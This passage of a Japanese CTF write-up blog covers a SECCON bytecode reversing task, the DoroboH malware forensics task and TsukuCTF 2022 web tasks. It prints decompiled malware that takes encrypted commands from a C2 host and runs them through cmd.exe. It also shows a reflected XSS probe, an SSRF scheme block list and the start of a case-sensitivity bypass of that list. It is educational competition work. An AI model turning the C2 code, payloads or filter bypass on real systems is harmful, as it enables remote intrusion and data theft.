  5   43  OP_BC_GEP1          [35 /179/  4]  38 = gep1 p.7 + (37 * 65)
  5   44  OP_BC_MUL           [3  / 18/  0]  39 = 132 * 36
  5   45  OP_BC_GEP1          [35 /179/  4]  40 = gep1 p.38 + (39 * 65)
  5   46  OP_BC_STORE         [38 /193/  3]  store 33 -> p.40
  5   47  OP_BC_ADD           [1  /  9/  0]  41 = 26 + 133
  5   48  OP_BC_ICMP_ULT      [25 /129/  4]  42 = (41 < 134)
  5   49  OP_BC_COPY          [34 /174/  4]  cp 41 -> 1
  5   50  OP_BC_BRANCH        [17 / 85/  0]  br 42 ? bb.5 : bb.6

先程フラグを4バイトずつ F.2 に投げた結果について、ひとつひとつ別の定数と比較している。1個でも違っていれば、ID 0のローカル変数には0が入る。

  6   51  OP_BC_LOAD          [39 /198/  3]  load  43 <- p.7
  6   52  OP_BC_ICMP_EQ       [21 /108/  3]  44 = (43 == 135)
  6   53  OP_BC_MUL           [3  / 18/  0]  45 = 136 * 137
  6   54  OP_BC_GEP1          [35 /179/  4]  46 = gep1 p.7 + (45 * 65)
  6   55  OP_BC_MUL           [3  / 18/  0]  47 = 138 * 139
  6   56  OP_BC_GEP1          [35 /179/  4]  48 = gep1 p.46 + (47 * 65)
  6   57  OP_BC_LOAD          [39 /198/  3]  load  49 <- p.48
  6   58  OP_BC_ICMP_EQ       [21 /108/  3]  50 = (49 == 140)
  6   59  OP_BC_AND           [11 / 55/  0]  51 = 44 & 50
  6   60  OP_BC_MUL           [3  / 18/  0]  52 = 141 * 142
  6   61  OP_BC_GEP1          [35 /179/  4]  53 = gep1 p.7 + (52 * 65)
  6   62  OP_BC_MUL           [3  / 18/  0]  54 = 143 * 144
  6   63  OP_BC_GEP1          [35 /179/  4]  55 = gep1 p.53 + (54 * 65)
  6   64  OP_BC_LOAD          [39 /198/  3]  load  56 <- p.55
  6   65  OP_BC_ICMP_EQ       [21 /108/  3]  57 = (56 == 145)
  6   66  OP_BC_AND           [11 / 55/  0]  58 = 51 & 57
  6   67  OP_BC_MUL           [3  / 18/  0]  59 = 146 * 147
  6   68  OP_BC_GEP1          [35 /179/  4]  60 = gep1 p.7 + (59 * 65)
  6   69  OP_BC_MUL           [3  / 18/  0]  61 = 148 * 149
  6   70  OP_BC_GEP1          [35 /179/  4]  62 = gep1 p.60 + (61 * 65)
  6   71  OP_BC_LOAD          [39 /198/  3]  load  63 <- p.62
  6   72  OP_BC_ICMP_EQ       [21 /108/  3]  64 = (63 == 150)
  6   73  OP_BC_AND           [11 / 55/  0]  65 = 58 & 64
  6   74  OP_BC_MUL           [3  / 18/  0]  66 = 151 * 152
  6   75  OP_BC_GEP1          [35 /179/  4]  67 = gep1 p.7 + (66 * 65)
  6   76  OP_BC_MUL           [3  / 18/  0]  68 = 153 * 154
  6   77  OP_BC_GEP1          [35 /179/  4]  69 = gep1 p.67 + (68 * 65)
  6   78  OP_BC_LOAD          [39 /198/  3]  load  70 <- p.69
  6   79  OP_BC_ICMP_EQ       [21 /108/  3]  71 = (70 == 155)
  6   80  OP_BC_AND           [11 / 55/  0]  72 = 65 & 71
  6   81  OP_BC_MUL           [3  / 18/  0]  73 = 156 * 157
  6   82  OP_BC_GEP1          [35 /179/  4]  74 = gep1 p.7 + (73 * 65)
  6   83  OP_BC_MUL           [3  / 18/  0]  75 = 158 * 159
  6   84  OP_BC_GEP1          [35 /179/  4]  76 = gep1 p.74 + (75 * 65)
  6   85  OP_BC_LOAD          [39 /198/  3]  load  77 <- p.76
  6   86  OP_BC_ICMP_EQ       [21 /108/  3]  78 = (77 == 160)
  6   87  OP_BC_AND           [11 / 55/  0]  79 = 72 & 78
  6   88  OP_BC_MUL           [3  / 18/  0]  80 = 161 * 162
  6   89  OP_BC_GEP1          [35 /179/  4]  81 = gep1 p.7 + (80 * 65)
  6   90  OP_BC_MUL           [3  / 18/  0]  82 = 163 * 164
  6   91  OP_BC_GEP1          [35 /179/  4]  83 = gep1 p.81 + (82 * 65)
  6   92  OP_BC_LOAD          [39 /198/  3]  load  84 <- p.83
  6   93  OP_BC_ICMP_EQ       [21 /108/  3]  85 = (84 == 165)
  6   94  OP_BC_AND           [11 / 55/  0]  86 = 79 & 85
  6   95  OP_BC_MUL           [3  / 18/  0]  87 = 166 * 167
  6   96  OP_BC_GEP1          [35 /179/  4]  88 = gep1 p.7 + (87 * 65)
  6   97  OP_BC_MUL           [3  / 18/  0]  89 = 168 * 169
  6   98  OP_BC_GEP1          [35 /179/  4]  90 = gep1 p.88 + (89 * 65)
  6   99  OP_BC_LOAD          [39 /198/  3]  load  91 <- p.90
  6  100  OP_BC_ICMP_EQ       [21 /108/  3]  92 = (91 == 170)
  6  101  OP_BC_AND           [11 / 55/  0]  93 = 86 & 92
  6  102  OP_BC_MUL           [3  / 18/  0]  94 = 171 * 172
  6  103  OP_BC_GEP1          [35 /179/  4]  95 = gep1 p.7 + (94 * 65)
  6  104  OP_BC_MUL           [3  / 18/  0]  96 = 173 * 174
  6  105  OP_BC_GEP1          [35 /179/  4]  97 = gep1 p.95 + (96 * 65)
  6  106  OP_BC_LOAD          [39 /198/  3]  load  98 <- p.97
  6  107  OP_BC_ICMP_EQ       [21 /108/  3]  99 = (98 == 175)
  6  108  OP_BC_AND           [11 / 55/  0]  100 = 93 & 99
  6  109  OP_BC_SEXT          [15 / 79/  4]  101 = 100 sext 1
  6  110  OP_BC_COPY          [34 /174/  4]  cp 101 -> 0
  6  111  OP_BC_JMP           [18 / 90/  0]  jmp bb.7

bb.6 で参照されている定数は以下の通り。

 31 [135]: 1939767458(0x739e80a2)
 36 [140]: 984514723(0x3aae80a3)
 41 [145]: 1000662943(0x3ba4e79f)
 46 [150]: 2025505267(0x78bac1f3)
 51 [155]: 1593426419(0x5ef9c1f3)
 56 [160]: 1002040479(0x3bb9ec9f)
 61 [165]: 1434878964(0x558683f4)
 66 [170]: 1442502036(0x55fad594)
 71 [175]: 1824513439(0x6cbfdd9f)

これで、F.2 を読んで、その返り値から元の値を求める処理を書けばよいということがわかった。F.2 を読んでいく…といっても、SHL, LSHR, AND, XORといったビット演算で引数をこねくり回しているだけであまり面白みはない。

found 18 values with 1 arguments and 17 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i32 argument
  1 [  1]: alloc i64
  2 [  2]: alloc i64
  3 [  3]: i64
  4 [  4]: i64
  5 [  5]: i32
  6 [  6]: i32
  7 [  7]: i32
  8 [  8]: i32
  9 [  9]: i32
 10 [ 10]: i32
 11 [ 11]: i32
 12 [ 12]: i32
 13 [ 13]: i32
 14 [ 14]: i32
 15 [ 15]: i1
 16 [ 16]: i64
 17 [ 17]: i64
------------------------------------------------------------------------
found a total of 8 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [ 18]: 0(0x0)
  1 [ 19]: 181056448(0xacab3c0)
  2 [ 20]: 3(0x3)
  3 [ 21]: 255(0xff)
  4 [ 22]: 8(0x8)
  5 [ 23]: 24(0x18)
  6 [ 24]: 1(0x1)
  7 [ 25]: 4(0x4)
------------------------------------------------------------------------
found a total of 26 total values
------------------------------------------------------------------------
FUNCTION ID: F.2 -> NUMINSTS 22
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_COPY          [34 /174/  4]  cp 18 -> 2
  0    1  OP_BC_COPY          [34 /174/  4]  cp 19 -> 1
  0    2  OP_BC_JMP           [18 / 90/  0]  jmp bb.1

  1    3  OP_BC_COPY          [34 /174/  4]  cp 1 -> 3
  1    4  OP_BC_COPY          [34 /174/  4]  cp 2 -> 4
  1    5  OP_BC_TRUNC         [14 / 73/  3]  5 = 3 trunc ffffffffffffffff
  1    6  OP_BC_TRUNC         [14 / 73/  3]  6 = 4 trunc ffffffffffffffff
  1    7  OP_BC_SHL           [8  / 43/  3]  7 = 6 << 20
  1    8  OP_BC_LSHR          [9  / 48/  3]  8 = 0 >> 7
  1    9  OP_BC_AND           [11 / 58/  3]  9 = 8 & 21
  1   10  OP_BC_XOR           [13 / 68/  3]  10 = 9 ^ 5
  1   11  OP_BC_SHL           [8  / 43/  3]  11 = 10 << 22
  1   12  OP_BC_LSHR          [9  / 48/  3]  12 = 5 >> 23
  1   13  OP_BC_OR            [12 / 63/  3]  13 = 11 | 12
  1   14  OP_BC_ADD           [1  /  8/  0]  14 = 6 + 24
  1   15  OP_BC_ICMP_EQ       [21 /108/  3]  15 = (14 == 25)
  1   16  OP_BC_SEXT          [15 / 79/  4]  16 = 14 sext 20
  1   17  OP_BC_SEXT          [15 / 79/  4]  17 = 13 sext 20
  1   18  OP_BC_COPY          [34 /174/  4]  cp 16 -> 2
  1   19  OP_BC_COPY          [34 /174/  4]  cp 17 -> 1
  1   20  OP_BC_BRANCH        [17 / 85/  0]  br 15 ? bb.2 : bb.1

  2   21  OP_BC_RET           [19 / 98/  3]  ret 13
------------------------------------------------------------------------

解く

F.2 の返り値から元の値を求める処理を書く。Z3を使ってもいいけれども、PythonF.2 を書き直すのがちょっと面倒だった。なので、Cで F.2 を書き直して、ブルートフォースで探し出すことにする。

#include <stdio.h>

unsigned int f2(unsigned int v0) {
  unsigned int v2 = 0;
  unsigned int v1 = 0xacab3c0;
  unsigned int v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17;

  do {
    v3 = v1;
    v4 = v2;
    v5 = v3;
    v6 = v4;
    v7 = v6 << 3;
    v8 = v0 >> v7;
    v9 = v8 & 0xff;
    v10 = v9 ^ v5;
    v11 = v10 << 8;
    v12 = v5 >> 24;
    v13 = v11 | v12;
    v14 = v6 + 1;
    v2 = v14;
    v1 = v13;
  } while (v14 != 4);

  return v13;
}

unsigned int crack(unsigned int t) {
  unsigned int x;
  for (int a = 0x20; a < 0x7d; a++) {
    for (int b = 0x20; b < 0x7d; b++) {
      for (int c = 0x20; c < 0x7d; c++) {
        for (int d = 0x20; d < 0x7d; d++) {
          x = a | (b << 8) | (c << 16) | (d << 24);
          if (f2(x) == t) return x;
        }
      }
    }
  }
}

int main() {
  unsigned int s[9] = {
    0x739e80a2, 0x3aae80a3, 0x3ba4e79f, 0x78bac1f3, 0x5ef9c1f3, 0x3bb9ec9f, 0x558683f4, 0x55fad594, 0x6cbfdd9f
  };
  unsigned int t[10] = {0};
  int i;

  for (i = 0; i < 9; i++) {
    t[i] = crack(s[i]);
    printf("%s\n", (char *) t);
  }
  printf("SECCON{%s}\n", (char *) t);

  return 0;
}

実行する。

$ gcc -o a a.c; ./a
byT3
byT3c0d3
byT3c0d3_1nT
byT3c0d3_1nT3rpr
byT3c0d3_1nT3rpr3T3r
byT3c0d3_1nT3rpr3T3r_1s_
byT3c0d3_1nT3rpr3T3r_1s_4_L0
byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f
byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun
SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

フラグが得られた。

SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}

このwriteupでは真面目にバイトコードを全部読んだけれども、実は本番では終了時刻が迫っていたのもあって、あまり真面目に読んでいなかった。F.1 に怪しげな定数がいっぱいあること、その定数が bb.6 で参照されていること、F.2 がなにか怪しげな変換をしていることを確認していた。Cのコードに直して、ブルートフォースでいくつか怪しげな定数の元の値を特定しようとしたところ、ちゃんと文章として読める文字列が出てきたので、最後に書いたCコードのようにちゃんとしたソルバを書いてフラグを得ていた。

(本番では解けず) [Reversing 179] DoroboH (27 solves)

I found a suspicious process named "araiguma.exe" running on my computer. Before removing it, I captured my network and dumped the process memory. Could you investigate what the malware is doing?

添付ファイル: doroboh.tar.gz

The program is a malware. Do not run it unless you understand its behavior.

添付ファイルを展開すると、README.txt, araiguma.exe.bin, network.pcap, araiguma.DMP の4つのファイルが出てくる。まず README.txt を読んでみると、以下のように出てきたファイルの解説が書かれていた。araiguma.exe.bin はPEファイルで、これを実行している最中に発生したパケットをキャプチャしたのが network.pcap、そして araiguma.exe.bin のメモリダンプが araiguma.DMP らしい。

The following diagram discribes what each file is.
Do not run araiguma.exe unless you fully understand the logic.

+-- Victim Machine --+       +-- Attacker Machine --+
| +--------------+   |       |   +-------------+    |
| | araiguma.exe |<------------->| kitsune.exe |    |
| +--------------+   |   ^   |   +-------------+    |
|        ^           |   |   |                      |
+--------|-----------+   |   +----------------------+
         |               |
  Memory |               | Packet
   Dump  |               | Capture
         |               |
  [ araiguma.DMP ] [ network.pcapng ]

IDA Freewareで araiguma.exe.binデコンパイルする。main 関数が本体っぽく、ここで CryptGenKey やら CryptSetKeyParam やらCryptoAPIを呼び出している。0xAA02u だの 0xBu だのよくわからないマジックナンバーが多いので、"Use standard symbolic constant" やGoogleを活用しつつ元の定数を特定する。

出来上がったのがこちら。やっていることは単純で、C&Cサーバと思われる 192.168.3.6:8080Diffie-Hellman鍵共有で共通鍵を共有した後に、RC4で暗号化された命令を受け取り、それを cmd.exe に渡して実行しているという感じ。p, g は固定値で、バイナリにハードコーディングされている。クライアントが生成する秘密の値である x は、CryptSetKeyParam(phKey, KP_X, 0i64, 0) からわかるようにランダムに生成されている。共通鍵の長さは64バイトだ。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD dwBytes; // [rsp+38h] [rbp-48h] BYREF
  int dwBytes_4; // [rsp+3Ch] [rbp-44h] BYREF
  struct sockaddr name; // [rsp+40h] [rbp-40h] BYREF
  struct WSAData WSAData; // [rsp+50h] [rbp-30h] BYREF
  char buf[4]; // [rsp+1F0h] [rbp+170h] BYREF
  DWORD pdwDataLen; // [rsp+1F4h] [rbp+174h] BYREF
  HCRYPTKEY hKey; // [rsp+1F8h] [rbp+178h] BYREF
  HCRYPTKEY phKey; // [rsp+200h] [rbp+180h] BYREF
  HCRYPTPROV hProv; // [rsp+208h] [rbp+188h] BYREF
  BYTE v13[4]; // [rsp+210h] [rbp+190h] BYREF
  void *v14; // [rsp+218h] [rbp+198h]
  BYTE pbData[4]; // [rsp+220h] [rbp+1A0h] BYREF
  void *v16; // [rsp+228h] [rbp+1A8h]
  LPCSTR lpParameters; // [rsp+238h] [rbp+1B8h]
  BYTE *v18; // [rsp+240h] [rbp+1C0h]
  SOCKET s; // [rsp+248h] [rbp+1C8h]
  BYTE *v20; // [rsp+250h] [rbp+1D0h]
  HANDLE hHeap; // [rsp+258h] [rbp+1D8h]

  _main();
  *(_DWORD *)pbData = 64;
  v16 = &g_P;
  *(_DWORD *)v13 = 64;
  v14 = &g_G;
  hHeap = GetProcessHeap();
  if ( !hHeap )
    return 1;
  if ( !(unsigned int)CryptAcquireContext(
                        &hProv,
                        0i64,
                        MS_ENH_DSS_DH_PROV,
                        PROV_DSS_DH,
                        CRYPT_VERIFYCONTEXT) )
    return 1;
  if ( CryptGenKey(hProv, CALG_DH_EPHEM, ((64 * 8) << 16) | CRYPT_EXPORTABLE | CRYPT_PREGEN, &phKey)
    && CryptSetKeyParam(phKey, KP_P, pbData, 0)
    && CryptSetKeyParam(phKey, KP_G, v13, 0)
    && CryptSetKeyParam(phKey, KP_X, 0i64, 0) )
  {
    if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, 0i64, &pdwDataLen) )
    {
      v20 = (BYTE *)HeapAlloc(hHeap, 0, pdwDataLen);
      if ( v20 )
      {
        if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, v20, &pdwDataLen) )
        {
          WSAStartup(2u, &WSAData);
          s = socket(2, 1, 0);
          name.sa_family = 2;
          *(_WORD *)name.sa_data = htons(8080u);
          inet_pton(2, "192.168.3.6", &name.sa_data[2]);
          if ( !connect(s, &name, 16) )
          {
            send(s, (const char *)&pdwDataLen, 4, 0);
            send(s, (const char *)v20, pdwDataLen, 0);
            recv(s, buf, 4, 0);
            v18 = (BYTE *)HeapAlloc(hHeap, 0, *(unsigned int *)buf);
            if ( v18 )
            {
              recv(s, (char *)v18, *(int *)buf, 0);
              if ( CryptImportKey(hProv, v18, *(DWORD *)buf, phKey, 0, &hKey) )
              {
                dwBytes_4 = CALG_RC4;
                if ( CryptSetKeyParam(hKey, KP_ALGID, (const BYTE *)&dwBytes_4, 0) )
                {
                  memset(v18, 0, *(unsigned int *)buf);
                  while ( recv(s, (char *)&dwBytes, 4, 0) == 4 )
                  {
                    lpParameters = (LPCSTR)HeapAlloc(hHeap, 0, dwBytes);
                    if ( !lpParameters )
                      break;
                    recv(s, (char *)lpParameters, dwBytes, 0);
                    if ( !CryptDecrypt(hKey, 0i64, 1, 0, (BYTE *)lpParameters, &dwBytes) )
                    {
                      HeapFree(hHeap, 0, (LPVOID)lpParameters);
                      break;
                    }
                    ShellExecuteA(0i64, "open", "cmd.exe", lpParameters, 0i64, 0);
                    memset((void *)lpParameters, 0, dwBytes);
                    HeapFree(hHeap, 0, (LPVOID)lpParameters);
                  }
                }
              }
              HeapFree(hHeap, 0, v18);
            }
            closesocket(s);
          }
          WSACleanup();
        }
        HeapFree(hHeap, 0, v20);
      }
    }
    CryptDestroyKey(phKey);
  }
  CryptReleaseContext(hProv, 0);
  return 0;
}

そういうわけで、Wiresharknetwork.pcap を開いて ip.addr==192.168.3.6 というフィルターを適用すると、この通信が出てくる。赤色が 192.168.3.6 に送っているパケット、青色が 192.168.3.6 から受け取っているパケットだ。サイズとデータの順番で送ることを繰り返している。上の2つのデータがDH鍵共有の過程で、それぞれ g^(クライアントが生成したランダムな整数) mod pg^(サーバが生成したランダムな整数) mod p を含んでいる。デコンパイル後のCのコードを読めばわかるように、これは PUBLICKEYBLOB だ。残りの2つは、これで共有した鍵を使って暗号化されたデータ(実行されたOSコマンド)だ。

メモリダンプにクライアントが生成したランダムな整数が含まれていないか。バイナリにハードコーディングされていた p, g を手がかりに探してみたが見つからず、本番ではここで競技が終了した。

keymoonさんとの情報共有に使っていたDiscordチャンネルで、こういうことを言っていた。やってみよう。

araiguma.DMP から、1バイトずつずらしつつ64バイトずつ取ってクライアントが生成したランダムな整数として扱い、もし pow(G, (試す64バイトの値), P) == Y が成り立っていれば、それが正解ということになる。

import binascii
import re
from scipy.stats import entropy

def convert(x):
  return int(''.join(re.findall(r'.{2}', x)[::-1]), 16)

P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF')
G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C')
Y = convert('46A717B1D54537E862F6BA6F809AED0021AFC44B8C95C9BEC809518F10001CC96489AD8914E1D4E008AA60BE8FE36F9B156E358940BBC1AA709098D93957E637') # G^X mod P

with open('araiguma.DMP', 'rb') as f:
  s = f.read()
  i = -1

  while True:
    i += 1
    x = binascii.hexlify(s[i:i+64]).decode()
    x = convert(x)
    if entropy(list(s[i:i+64]), base=2) < 5:
      continue
    if pow(G, x, P) == Y:
      print(i, x)
      break

実行するとうまくいった。

$ python3 s.py
/usr/lib/python3/dist-packages/scipy/stats/_distn_infrastructure.py:2614: RuntimeWarning: invalid value encountered in true_divide
  pk = 1.0*pk / np.sum(pk, axis=0)
427985 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914

network.pcap から g^(サーバが生成したランダムな整数) mod p と暗号化されたデータを取ってきて復号するスクリプトを書く。

import binascii
import re
from Crypto.Cipher import ARC4

def convert(x):
  return int(''.join(re.findall(r'.{2}', x)[::-1]), 16)

P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF')
G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C')

Y = convert('288f76749ec20b9ab18c618418ae9a70722618dc685e667fc0c19b906a6aa3a571f473ea0eaada269f29860d55ddcba0367ee6f7a1fac83d2d7395482930b3b8')
X = 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914
K = pow(Y, X, P)

k = binascii.unhexlify(hex(K)[2:])
k = k[::-1][:16]

s = binascii.unhexlify(b'8c28c20d027aa8bc9a71b107022421e907340de0f9a4c540611f2d95b560f8435fdb44ecb38876ddab1fe3ffcaf26aeb65b7f7f4d1d0bc6ceec521c77c27cd0ffba4a9d007228c478288b906b64d832be9822e123ec4a5abbc155a24b63a8c657c05ff6148124f')
print(ARC4.new(k).decrypt(s))
t = binascii.unhexlify(b'8c28c20d027aa8bc9a6bd436240c1df73e2714bfabaefb7d340635df9174e24719dd3bcce89572ddad49ac8c93f122aa61ada3f3cb8aa1288bab33957169fd04c482a797556ff067ccb2b031b64c9b03e586142015d5bfa6a1194b0cb939832c2609f3184f18')
print(ARC4.new(k).decrypt(t))

実行する。

$ python3 t.py
b'/C echo "SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}" > C:\\Users\\ctf\\Desktop\\flag.txt\r\n\x00'
b'/C echo "I regret to say that your computer is pwned... :(" > C:\\Users\\ctf\\Desktop\\notification.txt\r\n\x00'

フラグが得られた。

SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}

*1:チーム名にASCII範囲内の文字しか使えなかったので、その制限の範囲内でなるべくかわいいものにした

*2:昨年はすみませんでした

*3:SSTI発生!!!!!!!

TsukuCTF 2022 writeup

10/22 - 10/23という日程で開催された。keymoonさん、ptr-yudaiさん、ふるつきさん、そして私から構成される98ptsで参加して全完し1位。前回はソロチームで今回は4人チームという違いはあるけれども、2年連続で優勝できて嬉しい。

*1

全部で35問が出題されたうち、「OSINT」問が26問というCTFだった*2。CTFで出る「OSINT」には色々あるが、今回は写真が1枚与えられるのでその撮影地を特定するGeolocationであったり、秘匿されているWebサイトの運営者の情報を暴いたりといった問題があった。特に前者のような問題は人によってアプローチが異なるので、writeupを楽しみにしたい*3

ほかのメンバーのwriteup:


[Web 428] bughunter (86 solves)

天才ハッカーのつくし君は、どんなサイトの脆弱性でも見つけることができます。 あなたも彼のようにこのサイトの脆弱性を見つけることができますか? 見つけたら私たちに報告してください。

ディレクトリの総当たりなどは禁止されています。本問題の解決には、多数のリクエストは不要です。

「超絶安全なサイト」を自称するWebサイトのURLが与えられる。

その割には ?tsuku=<script>alert(123)</script> をURLに追加すると alert が出てくるし、全然安全じゃない。そもそも、「反射型XSSなどを見つけたら」と反射型XSSのことを知っているくせに、なぜそのままにしているのか。それはそれとして、脆弱性を発見したからには言われているように運営者へ報告したい。でも、どこへ?

実は、この問題には RFC9116 というタグが付いている。このRFC脆弱性を発見した際の報告先などを記載する security.txt を定義したものだ。まさに今知りたいことだ。この security.txt/.well-known/ ディレクトリ下に置くものだが、このWebサイトにはあるだろうか。

/.well-known/security.txt にアクセスすると、あった。連絡先がフラグになっている。Expires を見ると有効期限を過ぎているけれども、大丈夫だった。

Contact: TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}
Expires: 2022-10-20T15:00:00.000Z
Preferred-Languages: ja, en
TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}

この問題は98ptsがfirst bloodだった。問題文と RFC9116 というタグを見てピンときた。

[Web 500] viewer (8 solves)

Writeups for TsukuCTF21 have been published. Check them out if you'd like!

ソースコード付き。このWebサイトは昨年のTsukuCTFの公式writeupを閲覧できるものだ。適当なユーザ名を入力してログイン後、以下のようなUIが表示される。問題名を選択して Access ボタンを押すと、サーバが別のサイトで公開されているwriteupを取得してきて返してくれる。

app, nginx, redis の3つのコンテナから構成されているが、重要なのは appapp.py だけ。その内容は以下のようなものだった。

from flask import (
    Flask,
    abort,
    make_response,
    render_template,
    request,
    redirect
)
import redis
import pycurl
from io import BytesIO
import traceback
import uuid
import json

app = Flask(__name__)

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません")

@app.route("/", methods=["GET", "POST"])
def route_index():
    session_id = request.cookies.get('__SESSION_ID')
    name = None
    if session_id is not None:
        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"
    else:
        return redirect('/register')

    if request.method == "POST":
        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)
    return render_template("index.html", data=None, name=name)

@app.route("/register", methods=["GET"])
def register():
    return render_template("register.html")
    

@app.route("/register", methods=["POST"])
def register_post():
    name = request.form.get("name")
    redis.set(id, json.dumps({"id": str(uuid.uuid4()), "name": name}))
    redis.expire(id, 100)
    
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', id)
    return resp

@app.route("/logout", methods=["GET"])
def logout():
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', '', expires=0)
    return resp

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=31555)

ソースコードを読んでいく。

ユーザの情報(というかセッションデータ)はRedisに保存されている。UUIDv4で生成されたキー(セッションID)で {"id": "(セッションID)", "name": "(ユーザ名)"} というJSONを保存している。クライアントは __SESSION_ID というCookieのキーにセッションIDを持ち、それを受けてサーバはRedisからユーザ名を引っ張ってくる。

Redisの初期化時に以下のような処理がある。通常のユーザと同様にUUIDv4のキーで、フラグをユーザ名とするセッションが追加されている。ここから、この問題の目的はフラグの書かれたセッションの情報を盗み見ることであるとわかる。

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

writeupを取得する処理を確認する。なかなかシンプルで、PycURLを使っている。ただし、取得できるURLは url_sanitizer によってフィルターされている。レスポンスも response_sanitizer でフィルターされている。

        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)

url_sanitizer の処理を見ていく。dictgopher などの危険なスキームがURLに含まれていれば、たとえそれが含まれているのがパスなどの部分であっても弾かれるようになっている。それで、httphttps 以外を弾いているしている。SSRF対策だろう。

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

response_sanitizer を確認する。こちらもシンプルで、TsukuCTF22 (つまり、フラグ)が含まれていれば弾くようになっている。

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

また、response_sanitizer に加えて、Redisから取得してきたユーザ名にフラグが含まれている場合にもフィルターがある。ユーザ名に TsukuCTF22{ が含まれていれば、強制的に tsukushi としてログインしたものとして扱われてしまう。

        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"

ここまででやるべきことはわかった。Redisからフラグが含まれているセッションデータを抜き出してきて、別のセッションデータにその一部を埋め込むなりなんなりして手に入れたい。しかしながら、Redisサーバに対してSSRFをしようにも gopherldap といった重要なスキームが使えないため難しい。http はRedis側で防がれているし、https を使おうにもTLS-poisonはセットアップが面倒なのでやだ。tftp などもその部分文字列としてフィルターされている ftp が含まれている(というか、そもそも tftpUDPだ)のでダメ。

TLS-poisonするしかないか~と悩んでいたところ、ふるつきさんが「schemeってcase insensitiveだったりしませんか」と思いついた。本当だ、事前にユーザが入力したURLを str.lower に通したり、case-insensitiveな比較を使ったりしていない。

